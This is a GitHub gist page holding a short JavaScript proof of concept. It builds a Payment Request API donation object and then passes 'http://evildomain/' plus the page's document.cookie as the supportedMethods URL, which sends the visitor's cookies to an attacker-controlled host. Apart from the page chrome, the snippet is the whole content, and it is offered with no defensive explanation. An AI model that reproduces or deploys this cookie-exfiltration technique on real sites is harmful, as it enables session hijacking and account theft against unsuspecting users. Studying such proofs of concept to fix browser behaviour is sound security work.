-
-
Save Dliv3/1e042432ae6f5f87873fb5526e278998 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var details = { | |
displayItems: [ | |
{ | |
label: "Original donation amount", | |
amount: { currency: "USD", value : "65.00" }, | |
}, | |
{ | |
label: "Friends and family discount", | |
amount: { currency: "USD", value : "-10.00" }, | |
pending: true | |
} | |
], | |
total: { | |
label: "Total", | |
amount: { currency: "USD", value : "55.00" }, | |
} | |
} | |
new PaymentRequest([{supportedMethods: "http://evildomain/" + escape(document.cookie)}], details) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment